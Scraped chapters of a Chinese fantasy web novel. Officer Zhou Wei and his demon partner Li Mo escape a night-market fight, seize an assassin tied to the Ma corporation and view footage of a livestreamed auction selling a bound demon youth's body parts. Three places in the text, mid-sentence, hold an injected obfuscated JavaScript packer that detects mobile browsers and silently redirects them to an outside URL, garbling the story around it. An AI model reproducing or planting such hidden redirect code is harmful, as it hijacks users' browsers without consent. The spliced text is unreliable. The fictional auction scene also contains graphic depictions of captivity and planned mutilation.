一声巨响之后,周纬猛然从半空摔落在地。他顾不上自己浑身断骨似的疼痛,一翻身爬起,立刻去看李默。 李默就摔在他身边。白烛火龙肆虐之时,傀儡符早已被烧毁,此刻两人的识海链接已经断开,周纬不知李默伤到了什么程度,只能凭借他紧闭的双眼和煞白的脸色判断出他此刻并不好。 “李默!李默!”他掰住李默的肩膀:“你怎么样?说句话!” 李默还有意识,浑身紧绷半跪在地,牙关咬得死紧,脖子和手臂上青筋暴起。周纬的声音他听见了,眼皮轻颤了两下,勉强睁开了双眼,抬头给了他一个颤抖的微笑:“周队……” 一滴冷汗挂在他的眼睫上,“啪嗒”一声坠落下来。 周纬倒抽一口冷气。 与此同时,他也看清楚了周围环境。 他们所在的地方赫然是一座空旷的大殿,有点像庙宇中大雄宝殿般的样式,只是没有供奉任何神佛,满屋四壁都是白色烛台,荧荧烛火遍布各处,将整座大殿点缀得亮如白昼。连周纬也不知道这是哪里,他出入夜市多次,却从不知道夜市之内还有这么个地方。 大殿尽头趴着一个一动不动的人影,看样子就是那个挨了周纬一记天打雷劈的偷袭者,似乎已经被劈糊了,身上还在兀自悠悠冒着黑烟,也不知道是已经死了还是尚有一口气在。 薛青青就落在他们另一侧。 然而她伤势已经极重。木系妖类最是畏火,纵然有李默替她承担了大部分伤害,她的半个身子也都已经烧没了。此刻骤然从半空重重摔落在地,这小姑娘竟然一声不吭,木然地躺在原处,唯有在看到周纬投来的目光时身子才稍微动了动。 然后她的目光顺着周纬,落在了李默身上。 刹那间她眼神微动,张了张口,似乎想说话。 只是她的伤已经连一时半刻都撑不得,还没等吐出半个字,整个人骤然身上一层火光掠过。这小藤妖就像被烧透了似的,原地化作了一捧雪白的飞灰,灰烬中只留下一朵烧焦了的小花,乍然落了地。 周纬的瞳孔遽然紧缩。 薛青青只是被那白烛火龙烧了片刻就变成了这样,那李默岂不是—— 然而还没等他这个不详的念头转完,殿内异变又起。 只见那满殿的数千支烛火倏然一颤,同时释放出一缕白烟。白烟汇聚当空,形成一个巨大的烟团,从中传来一个低沉威严的声音:“何人在我夜市闹事?” 周纬眸光一凛,原地旋身半转,灵晔长鞭“啪”的一声展开,将李默护在身后。 同时他心里闪过一个念头——坏了。 来人明显是夜市中人,而且很可能职位不低,如今他们深陷敌阵孤立无援,情况可谓是差到不能再差了。这次来夜市是他提议的,无论如何,他也得把李默活着带出去。 周纬在监察员这个位置上干了多年,面对过的险境不知凡几,哪怕知道现在情况不妙,却也没有太多慌乱,刹那间心里转过无数念头,飞快地盘算着自己带着李默脱身的可能性。 与此同时,他手上也没闲着,从怀里掏出一个白色锦囊,正是他在凤凰山上祭奠薛爱梅一家三口时拿出来的那个。他人警惕地面向那烟团不动,把锦囊和打火机信手往后一塞,塞到了李默手里,低声道:“里面有烟,快拿出来吸一口。” 李默此时浑身剧痛有如蚁噬,额上冷汗滚滚而下。听了周纬的话,他二话没说取出一支香烟,“咔哒”一声点燃了,凑到唇边深吸一口—— 刹那间,李默只觉得突然有一股无比清冽的气息直冲肺腑,紧接着涌入四肢百骸,一阵透体凉意随之漫过全身,浑身难以忍受的痛楚骤然舒缓下来,抽痛的经脉和脏腑瞬间就好受了许多,字面意义上地体会了一把“沁人心脾”的滋味。 这香烟竟有疗伤镇痛之功效! 疼痛骤减,李默那被痛楚冲得一片模糊的识海也终于清明起来,他略显吃力地抬头,看向周纬的背影,一个念头突兀地随之升起—— 他随身带着疗伤镇痛的烟干什么? 周纬对他的心理活动丝毫不知,见他吸完,低声道:“怎么样?” 李默沉声:“好多了。” A级妖类的身体强度不是开玩笑的,一支香烟强压下去那令人筋骨抽搐的剧痛,没有两句话功夫,李默就已经缓过劲来,将锦囊塞回周纬手里,带着他一起站了起来。 周纬见李默无碍,心下先松了一口气。只是还没等他说什么,就听面前那个烟团突然发出了一声:“咦?” 这一声真是来的奇怪又诡异,跟刚刚低沉威严的声音毫不相符,就仿佛烟团里面突然换了个人。 紧接着,就见那烟团突然搅动起来,里面的烟雾聚拢又散开,渐渐地凝聚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091608|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成一个人形,在周纬和李默警惕的目光中缓缓落了地。 一个人影从那团烟雾中走了出来。 那是一个身穿长袍马褂的男子,身材瘦高,满脸带笑,头上扣着顶平檐宽边帽,手中摇着一把折扇,腰间还坠着一串铜钱挂饰,出来未语笑三分:“哎呀,我还是当是哪位英雄好汉在我夜市闹事,这不是‘灵晔鞭’现任主人嘛。” 周纬眉尖一挑:“嗯?” 来人似乎没有他们想象的那么大敌意。周纬跟李默对视一眼,应口道:“好说,你哪位?” 来人折扇“啪”地收拢,微笑着拱手一礼道:“见过周先生,在下是夜市掌事,魏观烛。” 听到这话,李默心中微微一动——周纬并没有说出自己的姓名,那人却猜出了他姓周。 “魏掌事。”周纬警惕之势并未放下,嘴上却从善如流地起了微笑,和颜悦色道:“不知魏掌事带我二人来此处,有何贵干呢?” “哎呀哎呀,周先生,话可不是这么说的。”魏观烛直起身来,折扇轻摇,眯眼笑道:“明明是几位先在夜市闹事,坏了我夜市的规矩,怎么反倒问起我来?” “哦,是我干的。”周纬道:“那又怎样?” 饶是跟他同一阵线的李默也被他这理直气壮的语气噎了一把,魏观烛更是脸上笑容一僵。 然而周纬却神色坦荡自若,一如往常。在他看来这委实没什么不好理解的,按照他的行事原则,但凡自己犯了事儿,那当然是能甩锅甩锅甩锅能耍赖耍赖,总之先推卸责任,推卸不掉的再想办法。 反正事儿都已经犯下了,要钱没有要命更是不给,看对方能拿他怎么办。 “周先生这是有恃无恐啊。”魏观烛脸上笑容一顿,随即又展颜如常,道:“不过先生既然持有白泽大人的信物,倒确实不是不可以破例。” 李默:“?” 白泽?是他想的那个白泽吗? 他惊讶地看向周纬,却见周纬一挑眉,脸上现出几分了然之色:“……啊。” 紧接着,他手腕一抖,灵晔长鞭倏地缩回他腕上,重新还原成那不起眼的黑色串珠模样,竟是被他收了起来。 周纬一扬手,将他手中那个白色锦囊朝魏观烛抛了过去,魏观烛脸色瞬时一变,手忙脚乱地接了,脸上竟然现出几分恭谨之色。 “看看吧,”周纬一抬下巴:“这确实是他给我的东西。” 魏观烛将那锦囊捧在手中,仔细查验几番,点头道:“是白泽大人的气息不错。” 周纬道:“这么说,有了这东西,我们今天在夜市犯的事就可以一笔勾销?” “白泽大人是我家主人的‘至交好友’。”魏观烛笑眯眯地道:“既然是他的人在我夜市动武,一应补偿,我家主人自然会从他那里讨回来。” 周纬:“……” 李默:“……” 虽然魏观烛这话说得笑意绵绵如沐春风,但两人都直觉那‘至交好友’四个字不是什么好话。、 三言两语间,魏观烛就给他们扯了这么大一张虎皮挡刀,眼看着一场祸事可以就此消弭于无形,李默虽然觉得有些突兀离奇,倒也确实松了一口气。 “慢着。”没想到这时,周纬突然道:“我听说在夜市,无物不可交易……既然要卖白泽一个面子,那可不能只值这点价钱吧?” 魏观烛本来都已经准备退走了,听了这话,却又转身回来,饶有兴趣地问道:“哦?那周先生还想要什么呢?” 周纬指了指角落里那个半死不活的偷袭者,干脆利落地道:“我要带他走。” 魏观烛随意地瞥了一眼,笑道:“这个容易。本也就是一个无所谓的小贼,看起来周先生已经替我们教训过他了,那就让您带走也无妨。” 周纬接着道:“我听闻珑湖夜市近来出现了一批灵器‘黑货’,来路颇为不正。我要追查这批黑货的来龙去脉,还请夜市予以协助。” 魏观烛面露为难之色:“这……” 周纬上前一步:“既然是‘黑货’,必定有原料、资金、炼制者和买卖人。这么大批量的黑货不可能毫无踪迹,我想夜市帮我追踪监控,但凡发现可疑的大笔资金流动,立刻通知我。” 魏观烛倒抽一口冷气,惊退一步道:“这万万不可能!” “我夜市向来是中立之地,买卖双方只要付了灵砂燃烛,交易内容我们一概不予过问。”魏观烛斩钉截铁道:“周先生这要求可是动摇了我夜市立足之根本了,哪怕是白泽大人亲至,也万万不可能答应。” “好吧。”周纬深谙讨价还价之法,一见此路不通,立马后退一步道:“那若我给你一个名字,只要你帮我查出近期跟此人交易的都有哪些人,这总可以了吧?” “这个……”魏观烛迟疑了一下。 “本来夜市也不是没有擅长盯梢暗访之人,我去找这些人盯上几个月也能查到,最多多费点时间而已。”周纬一看有门,立刻谆谆劝道:“如今就当是我跟夜市做了个交易,我们双方互相行个方便,岂不正好?” 魏观烛仍在犹豫。 “哎呀我说魏兄,你怎么这么实诚呢?你到底会不会做生意?”周纬见状,直接上去拉住魏观烛,跟他勾肩搭背地走到一边,耳语道:“如今白泽的信物在你手里,想跟他讨什么好处还不是你们说了算?你大可以将我在夜市搞的破坏夸大一点,就说我砸了几条街,烧了无数店铺,给你们造成了天大的损失,趁着这个机会狠狠讹他一笔……” 魏观烛:“……” 连李默在后面听着都禁不住冷汗涔涔——周纬这是直接把那位白泽大人给卖了? “好好好……”魏观烛终于招架不住了,像是怕了他似的,连连摆手后退道:“此事我会向我家主人详禀,由我家主人定夺……一有消息定会立刻告知周先生,先生您和朋友自行离开夜市即可,请恕魏某不送!” 说罢,还不等周纬再说什么,他的身形直接化为一团烟雾汇入了那上千只白烛之中,看背影竟有些落荒而逃的意味。 “啧,这人真的是。”周纬遗憾地看着魏观烛消失,抱起双臂,颇为不满地道:“价钱还没谈好就跑了,就这还生意人?” 李默:“……” 空旷的大殿中终于只剩下了他们两人。周纬转过身来看着李默,半晌,终于忍不住“噗嗤”一笑。 李默也禁不住哈哈大笑起来,边笑边对周纬竖起了一个佩服的大拇指。 17. 疑云 半小时后,现世那家大型商超的地下停车场,一道安全通道门悄无声息地打开了,周纬和李默两人鬼鬼祟祟地溜了出来。 李默的姿态要更“鬼祟”一点,因为他肩膀上还扛着个黑色条状物体,看形状很容易猜到里面是什么。他人高马大的本就显眼,现在又不得不躬身弯腰避人耳目,做贼似的,委实有些滑稽。 等到成功摸到了周纬的车,将还在昏迷的那个偷袭者扔进了后备箱,周纬和李默两人坐进车里,同时长出了一口气。 这次夜市之行,还真是波澜迭起,险象环生。 先是意外获得了灵器黑货的线索,然后迎头撞上了薛青青,接着又直接抓到了个偷袭者,最后还歪打正着跟夜市达成了合作……短短不到两个小时发生了这么多事,饶是周纬和李默两人都见过不少世面,回来之后也禁不住有点喘。 周纬拿起手机发了条消息,然后把手机往后座一扔,大大地松了口气,道:“成了,老何待会儿会派人来接我们。” 他整个人几乎要化在座椅上了。李默不放心地起身看他:“周队,你还好吗?” 周纬瘫着摆了摆手,意思是让我缓口气先。 李默仍旧有点不放心:“我们在夜市大打出手,夜市应该不会追究异监局的责任吧?” “不会,他们没那么小气。”周纬懒洋洋地道,丝毫不在意自己就是那个差点导致夜市和异监局关系破裂的罪魁祸首:“再说他们不是得了白泽的把柄吗?高兴还来不及,追究个屁。” “那白泽那边……” “那边不用管。”周纬却出奇的坦荡,仿佛很有自信自己不会因为背地把人家卖了而被这位传说中的大妖打上门来:“反正又不是我打着他的旗号出去招摇撞骗的,魏观烛非要说我和他有关系,我有什么办法?怪就怪他非要把那个锦囊给我咯?” 李默本不是什么好奇心旺盛的人,一般跟他自己无关的事他都懒得打听。然而但凡是个妖类,就不可能没听过那位传说中通晓万物的“白泽大人”的名号,此刻骤然遭遇这么一位妖界流量级明星,他也忍不住追问起来,道:“周队跟白泽很熟么?” “唔,也算不上。”周纬想了想:“他就住在珑湖,在异监局的‘白名单’上。” 李默吃了一惊。 异监局对妖类的管理方式只有一种,就是登记备案,俗称“上户口”。上了户口的妖类,会给发放一张特制的“身份证”。这张身份证从外观上来看和普通的人类身份证毫无差别,功能也一应俱全,只是用特制的的仪器扫描,能够显现出妖类的实际种族和妖力等级,另外还兼具定位功能,可以监测妖类的实时位置。 也就是说,有了这张“身份证”,妖类就相当于被异监局纳入了监察范围,在拥有了合法的人类社会身份的同时,也要受到异监局的管辖和制约。 可想而知这玩意儿在妖类当中是多么被嗤之以鼻——这不就相当于向异监局投诚了吗? 其奴颜婢膝的程度可以说仅次于李默这种以妖类之身成为监察员的了。 所以李默万万没想到,像白泽这种大名鼎鼎的“大妖”,竟然也会向异监局投诚示好,而且时间还不短——只有登记备案超过五十年,且在此期间没有过任何违法犯罪记录的妖类,才能获得“白名单”待遇。 要知道,异监局自建国后成立以来,到现在也不过百年,白泽跟异监局的渊源这么深的吗? 只是吃惊归吃惊,他现在更关注的是另一个问题:“白泽就住在珑湖?” “呦呵,没想到你们妖类也追星啊?”周纬转过脸来看他,一双桃花眼调笑地眯了起来,眼角睫羽要起飞似的:“不过他的定位现在不在珑湖,不知道又上哪儿晃荡去了,等他回来,我领你去见一见他。” “不过现在嘛……”李默就见他一伸手把自己的手机从后座上捞了回来,点开通讯录,调出白泽名字,紧接着就给了这位传说中的大妖一个拉黑删除一条龙的待遇。 李默:“……” 也对,毕竟刚把人家卖了,怎么也得躲着人家点儿,没毛病。 “话说,那个人不会有事吧?”李默往后备箱瞥了一眼,那个装着偷袭者的黑色布袋还在那里躺着,里面的人一动不动,让人怀疑是不是还在喘气 “放心,死不了。”周纬浑不在意地道:“落雷的时候我感应到了,他身上有防御性灵器,给他挡了一下。人只是被劈晕过去了而已,回去扔给医研中心就行了。” “又是灵器?”李默蹙眉道:“如今灵器如此泛滥……金老说的那批灵器‘黑货’果然是真的?” “八成是真的,而且我大概能猜得出来,他为什么要杀薛青青。”说着说着,周纬的面色也沉了下来:“你不认识这个人,是么?” 李默一愣:“周队难道认识这个袭击者?” 周纬叹了口气,划开手机找到一个视频递了过去:“李默同志,你家真的该通网了。” 周纬找的是一个热搜上的视频,热搜词条是“#马氏集团召开新闻发布会回应近期风波#”。 视频发布的日期是在爱丽舍杀人案发生的一天之后。自马宏昇死后,马氏集团的股价就一路跳水,堪称万里江山一片惨绿。马氏集团采取了许多公关手段也不见起色,神通广大的网友们顺着马宏昇之死,不仅挖出了不久前的小张庄纵火案,还把整个马氏的发家史扒得一干二净,现在网络八卦的讨论热点集中在马宏昇的老爹马诚发迹之前是否真的有黑/道史,以及他有过几任小老婆。 在这种情况下,马氏虽然由马诚亲自出面召开新闻发布会□□,却也未能见什么效果,热搜不痛不痒地上了几个,也没人往心里去。 周纬点开的正是那个新闻发布会的视频。发布会上马诚表情沉痛,发表了一番诸如“相信法律会还儿子一个公道”“将会全力配合警方调查”“绝不容忍任何对马宏昇和马氏集团的污蔑和抹黑,将保留追究法律责任的权利”……之类毫无营养的话,一看就是由秘书团和律师团精心雕琢过的,应景而索然无味。 但李默却没有看主席台上的马诚。 他的目光盯住了站在马诚身后的一个人,暂停放大,讶然道:“这人不就是……” 周纬点头:“对,现在就在咱们后备箱里躺着呢。” 视频上的那人是马氏金牌律师团中的一员,看上去不过四十左右,一身西装革履,金丝眼镜,头发梳的一丝不乱,浑身都是“精英人士”“上流阶层”的矜贵、肃穆和傲然——亏得周纬透过那满脸黑灰和炸了毛的头发还能把这人认出来。 周纬道:“我查了一下,你猜这人姓什么?” 他也没真想让李默猜,还没等他答话就把答案说了出来:“姓李——但和你这个‘李’不是同一个。他这个是赤阳李家的‘李’。” 李默缓缓坐直了,肃然道:“神锻李家?” “没错。”周纬道:“赤阳李家是绵延千年的灵修家族,以‘神锻’之名著称,族中专出炼器师。这个人叫李星路,不是李家正支,而是旁系子弟,但估计也对炼器一道颇有研究,不然不会给自己找了这么个营生。” 李默缓缓蹙眉:“这么说,这件事背后和赤阳李家有牵扯?” “那倒未必。”周纬摇了摇头:“异监局虽然对灵器的炼制和流通严格管控,却也并不是完全堵死的。只要是通过了异监局考核,在总部注册过的炼器师都可以合法炼制灵器,其中最多的就是李家族人。据我所知,总部跟赤阳李家是有合作的,每年都会向李家订购一批灵器。如果是正儿八经的李家子弟,不需要干这种违法犯罪的勾当。我更倾向于这是这个李星路的‘个人职业选择’。” “这人的社会身份是个律师,跟了马氏有近十年了。”周纬把手机拿回来:“相较于赤阳李家,我倒觉得这个马氏集团更可疑一些。” “马氏集团里有灵力者,那马诚知情吗?”李默蹙眉道:“这个集团是在暗中进行什么非法交易吗?” “现在还说不好,估计得等这个李星路醒了之后好好审一审。”周纬想了想:“目前我们掌握的线索是,薛青青杀了马宏昇,而李星路出现在夜市,想要暗杀薛青青。这中间无非有两种可能,其一,李星路是被派来给马宏昇报仇的;其二,李星路是来杀薛青青灭口的。” 他抬眼看着李默:“你觉得哪一种的可能性比较大?” 李默垂眸思索片刻:“第二种。” “我也这么想。”周纬颔首道:“马宏昇就是个废物二世祖,活着的意义就是给他老爹败家和添乱,就算马诚爱子心切想要私下报复薛青青,应该也不会铤而走险让李星路在夜市里动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他抬起头来,疑惑地看着周纬:“从凤凰山上挖出加密U盘这件事,应该只有我们两个和小莉知道,马氏是怎么知道的?而且之前我们全城搜寻薛青青都没有找到,结果刚在夜市发现了她的踪迹,她就遭到了李星路暗杀?这也未免太巧了吧?” 周纬抬眸,深深地看了李默一眼。 这一眼过于意味深长,刹那间竟让李默一阵心惊,半晌他才反应了过来,缓缓地睁大了眼睛:“周队……你的意思是?” 周纬轻声道:“在从凤凰山回来的路上,我曾经给老何打过一个电话;来夜市之前,我也去市局物管处领过傀儡符。” 李默倒吸一口凉气。 “不会是老何。”周纬在他说出什么来之前就截口打断道:“我跟老何搭档这么多年,他的脾气我了解,说他是块茅坑里的石头都是夸他了——这人简直就是水系之耻,谁泄密都不会是他的。” “……”李默一时之间竟不知道是不是该为何昭华副队感到高兴。 “之前我一直没往这方面想,所以任何行动也都是大张旗鼓的,有心人如果要打听,不难拿到消息。”周纬的声音低沉,眼神晦暗不明:“不过现在看来,局里也未必任何地方都‘干净’。” “周队……” 周纬没有说话,垂首轻轻摇了摇。车厢内一时陷入了令人难耐的寂静中。 李默无声地望着对面的人。地下停车场里灯光黯淡,周纬的半个身体都被埋进了阴影里,表情看不分明。 李默不敢说自己明白周纬现在是什么心情。他在总部的时候,见识过人类监察员之间的感情。他们之间很少有单纯的同事或是上下级关系,而是战友,是袍泽,是出生入死、交托后背的兄弟,是交换遗书、托妻托孤的家人。在外勤干员这个几乎每天都要面对未知危险、平均年龄只有三十六岁的岗位上,他们就是彼此最信任、最亲密的同伴。 李默尊重人类之间的这种深厚感情,哪怕这让他作为一个妖类会分外遭受排斥。 那么周纬呢?他跟他的队员们之间,又是一种怎样的感情呢? 李默想起来自己刚来珑湖市局那一天,被关在审讯室时,听到的外勤干员们对周纬抗议时说的话。 他记得当时有个监察员曾经说过这样一句——“周队,要兄弟们跟着你上刀山下火海,咱们都没二话。” 会是这些要跟着他“上刀山下火海”的兄弟们走漏了消息,亲手把他们的队长送到了那些暴徒凶犯的伏击之中吗? 李默发现自己竟全然无法想象。 他只是觉得,此刻坐在自己身边的周纬,突然变得异常疏离和遥远……遥远得仿佛那个在强敌面前谈笑自若、机智狡黠的年轻监察队长,似乎从未存在过。 18. 拍卖 “我刚刚想到了另外一件事。” 片刻之后,还是周纬率先打破了沉默:“薛青青这里,也未必就那么单纯。” 他沉默了许久,此时开口,声调却已经恢复了正常,似乎那刚刚的一丝脆弱只是转瞬即逝的错觉。 “我一直怀疑,薛青青潜入爱丽舍杀死马宏昇,这件事背后有其他人指使。现在基本可以坐实这个猜测了。” 李默现在只盼着能换个话题转移一下他的注意力,连忙接口道:“为什么?” “有三个理由。”周纬竖起了三根手指。 “第一,之前我就觉得,薛青青如果是个刚化形三个月的妖类,又一直跟薛爱梅生活在小张庄那种环境里,那么她的社会化程度应该不会很高。单靠她自己,是做不出来借助‘酒神节’活动,变装潜入爱丽舍杀人这种事的。”周纬抬头看着李默,道:“你今天跟她接触时应该也注意到了,她几乎无法和人产生有效的沟通交流,行为举止非常莽撞,连夜市的规则都不放在眼里。这样的一个妖类,会搞潜入暗杀这么复杂的事情吗?我觉得她直接冲到马宏昇家里砸烂他的头倒是比较有可能。” “第二点,虽然之前烛照没有在市内监测到薛青青的妖力踪迹,但是我从来没有怀疑过她可能藏在夜市,我最多只是以为她离开了珑湖,或者非常小心没有动用过妖力而已。”周纬的眉毛深深地蹙了起来,道:“因为在夜市里待着是要燃烛的,而且她身上也确实带着白烛。但是从爱丽舍杀人案到现在,已经整整四天了,难道她一直藏在夜市里?那得消耗多少灵砂?她一个刚化形三个月的小藤妖,本身就妖力低微,她哪儿来的那么多灵砂?” 李默明白了了:“你是说一直有人在背后操纵薛青青的行动,指使她潜入爱丽舍杀人,并且在她杀人之后,提供巨量灵砂帮她在夜市里藏匿容身?” 周纬面色沉重地点了点头:“第三点,也是最重要的一点。当初薛青青杀完人后离开现场时,没有带走那串钥匙。那串钥匙是别人放到凤凰山上去的。” “什么?!”李默震惊。他并没有看过薛青青在包厢里的那段黑盒监控,此时还不知道这个信息。 “但这不就是说……”李默细想了一下这背后代表着什么,突然感觉背后冒起一股寒意。 “对。”周纬的脸色显得有些阴沉:“拿走这串钥匙的人,必然知道加密U盘里面都有些什么。他们利用了薛青青想要复仇的心理杀死马宏昇,将U盘的存在暴露了出来,然后又故意带走U盘,让马氏那群人感到威胁铤而走险。他们为此不惜甚至算计了异监局,因为只要将U盘送到异监局手里,马氏就必然会为了保住U盘里的秘密,跟异监局对上。他们甚至还——” 说到这里,周纬话音一顿,下意识的咬了咬嘴唇。 “——他们还利用了我。” 李默猛地心头一跳,抬眼看周纬。 周纬没有迎上他的目光。他面色复杂,眼神晦暗,神情是前所未有的凝重:“他们预判到了我会去小张庄,甚至猜到了我会去凤凰山上探查,所以提前将钥匙埋在了那里。” 他没有接着说下去,李默却猜到了他的下文——能做出这种预判的,要么是在智计上能够碾压他,要么就是……极其了解他。 周纬暗自苦笑了一下,他发现自己竟然判断不出这两者那个更好……或者更糟一点。 他闭上眼睛,强自定了定神,继续开口道:“不管怎么说……” 然而他这话话还没说完,就感觉手腕一沉——李默攥住了他的手。 周纬一怔。 “我觉得周队倒无需太过悲观。”李默直直地看向他,一双漆黑瞳仁里毫无杂质,诚恳地道:“有人泄密这件事目前只是推测,就算是真的,泄密之人也未必就是有心,也许只是被人利用,或者根本就是被什么人用某种特殊方式窃取了消息。周队大可不必现在就怀疑自己人。” 周纬愣愣地看着他。 李默低头想了想,又继续道:“至于你会去小张庄这件事也不难猜,薛青青要杀马宏昇,根结就出在小张庄,你会想到去探访一番是正常的。对方既然把钥匙埋在了凤凰山上,自然有的是办法引你过去,只是你自己先想到了上山探查而已。说不定他们还准备了许多手段没用上呢?周队不必一开始就往最糟糕的可能性上去想。” “你……”周纬张了张口,却发现根本不知道自己要说什么。 “总之,我觉得周队不妨相信一下自己的手足袍泽。”李默说到最后,温和地微笑起来:“……也相信一下你自己。” 他不擅长安慰人,自己笨嘴拙舌的,也不知道这番话说出来会有什么效果,有点忐忑地等着周纬的反应,却见周纬突然像是呆住了似的,愣怔半晌,猛地倒抽了一口凉气,原地转过了身去。 “周队?!”李默吓了一跳,还因为周纬是在刚刚的战斗中受了什么伤,忙起身要去看他,却见周纬扭头摆了摆手,示意自己没事,这才有些担忧地重新坐下。 周纬侧着身子,一手撑着车窗,一手按着自己心口,又轻又急地喘了两下,一个念头突然从他脑海里划过,他想:“我这是老了吗?” 他突然觉得有些无奈,有些好笑——自己在监察队长这个位置上坐了多年,如今却脆弱到了这个地步,七情上脸,甚至都让别人觉得他需要安慰了? ……真是越活越回去了。 轻咳了两声,周纬再转回身来时,脸上的表情已经恢复如常,笑了笑道:“那就借李默同志吉言了。” 这一笑风度翩翩,礼貌又疏远。李默愣了一下,直觉好像哪里有点不太对。 他这是……说错话了吗? 只是周纬很明显不想再继续这个话题了,李默也不好再揪着不放。周纬想着赶紧把这一页揭过去,于是拿起手机,半真半假的抱怨道:“话说老何这也太慢了……” 他正准备给何昭华再打个电话,话音还没落,就看见眼前车灯骤然亮起,同时传来一声响亮的“滴滴”声。 “周队!默哥!” 洛小莉的声音由远及近飞奔而来,风风火火地上来就要拉周纬的车门。周纬招呼都还没来得及打一个,就听这小监察员劈头盖脸就是一句: “周队,那个加密U盘解析出来了!” “怎么这么大的阵仗?” 周纬没想到,这个加密U盘里面的内容,竟然直接惊动了徐培风和赵昌誉两位局长。两位大佬和周纬、何昭华再次齐聚徐培风办公室——珑湖市局上次凑出这个阵容,还是讨论李默去留的时候。 “大?恰恰相反,这次的阵仗绝不能大。” 徐培风坐在办公桌后,敲了敲面前的笔电:“信息科把这个U盘解析出来的第一时间,我就让人对里面的内容进行了封锁,执行过解密程序的人全都拉去签了保密协议,目前整个局里,除我之外,还没有一个完整看过这份资料的人。” 周纬和何昭华都吃了一惊:“什么东西需要这么谨慎?” “你们还是先自己看看为好。”徐培风打开了笔电。 屏幕亮起,里面显现出来的居然还是一台电脑——这是一段视频,拍摄者用了外部拍摄设备对准了笔电屏幕,用这种最原始最直接的办法把屏幕里正在发生的事记录了下来。采用这种方法一般说明原设备进行过反窃密加工,想用正常手段获取原设备资料是行不通的。 换言之,这个视频来路不正。 视频里的笔电屏幕是个半俯视视角,场景是个类似阶梯教室一样的房间,大而空旷,中间下陷,四周围了一圈巨大的电子屏。整个房间黑漆漆的,不知道是要用来做什么。 突然,一束灯光从上方打了下来,与此同时房间四周亮灯,同时转向中央,照亮了房间中央的一方石台。 石台上躺着个人。 那是一个看着十六七岁的少年,面貌清秀,满头白发,浑身上下只穿了一条短裤,露出了细瘦的四肢和嶙峋的肋骨。他的头部、四肢和胸腹部都有锁扣,将他严丝合缝地固定在了石台上,迫使他只能仰面朝天,动也动不了。 少年有着一双透蓝的眼睛,清秀的面上满是惊恐,嘴里却只能发出一些模糊不清的呜咽——他的嘴巴被一颗黑色的圆球塞住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091610|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 除此之外,他的脖子上还戴着一道很眼熟的东西。周纬一见那东西就眼皮一跳子——那是灵枷。 忽然间,四面屏幕同时亮起,数排虚拟人像出现在屏幕中,居高临下地俯瞰着石台。 紧接着,一个身穿医学防护服,全身上下遮得严严实实的人,推着一辆小推车登了台,主持人似的亮了个相,向着四面屏幕鞠躬。 “欢迎,”那人的声音带着一股僵硬的机械感,一听就是经过特殊处理的:“欢迎各位贵宾参加我们本次直播拍卖会。” 听到“拍卖会”三个字,办公室里的四个人全都眼角一抽。 “今天我们要拍卖的物品是这只朏朏*,C级。”他向四面观众展示着石台上的“货品”:“这只朏朏等级不高,自身妖力也不强,不具备太多战斗能力,因此今天出产的灵器以辅助、装饰功能为主,主要拍卖部分为眼睛、皮毛、尾巴和骨骼。” 石台上的少年眼睛骇然睁大了。 主持人拿出了一把尺子,一只手扒开少年眼皮,另一只手拿着尺子在他的眼睛上比划;与此同时镜头对焦,大屏幕上出现了一颗不断滚动颤抖的湛蓝眼球。 主持人的声音同步响起:“如大家所见,朏朏的眼睛为非常澄澈清透的蓝色,品质可以媲美上等蓝宝石,根据尺寸及顾客偏好,可以打造成戒指、项链、耳环或胸针等饰品,佩戴有静心凝神、解忧除躁、强化精神力等功效……” 屏幕上的那颗眼睛剧烈地颤抖着,无声地流下泪来。 房间四面的大屏幕非常智能,一分为二,一半显示着十几个虚拟人像,显然就是通过网络直播参与拍卖的“买主”,另外一半则随着主持人的介绍,不断聚焦着少年身体的不同部位,同时显示出朏朏的各种能力资料,以及预计炼制的灵器的功能介绍和设计效果图。 每个虚拟人像下都有一个计数器,随着主持人的介绍开始滚动,数字逐渐夸张,很快上了七位数。 “下一件拍品是皮毛,由于朏朏本体较小,无法制成较大的衣料,所以我们设计了皮包、披肩、软枕等产品……” 主持人的介绍非常细致和专业,大屏幕把少年身上所有“有价值”的零部件儿扫了个遍,不出十几分钟,所有拍品都有了归宿。计价器显示的拍卖总额超过了三千万。 然而奇怪的是,直到拍卖结束,都没有任何一位“买主”退出直播间。有些人虽然全程陪跑,颗粒无收,却还是耐心地待到了拍卖结束。 主持人显然对本次拍卖非常满意。见所有拍品的归属尘埃落地,他直起身,再次向着四面屏幕鞠躬致谢。 “感谢各位贵宾的慷慨出价。”他开口道:“那么进入本次拍卖的最后一项环节——请问在座贵宾,有人想要购买特殊服务么?” 几乎他话音刚落,有一个虚拟人像下面的计价器上就蹦出了数字——500万。 周纬眉头一皱,他记得这个虚拟人像在之前的拍卖中没有买过任何拍品。 那这个所谓的“特殊服务”是什么? “感谢18号贵宾。”主持人朝着那个虚拟人像深鞠一躬:“因为18号贵宾的慷慨解囊,今晚所有到场贵宾,都能享受到这份‘品质保险’。” 说罢,他一把掀开了蒙在身边小推车上的白布。 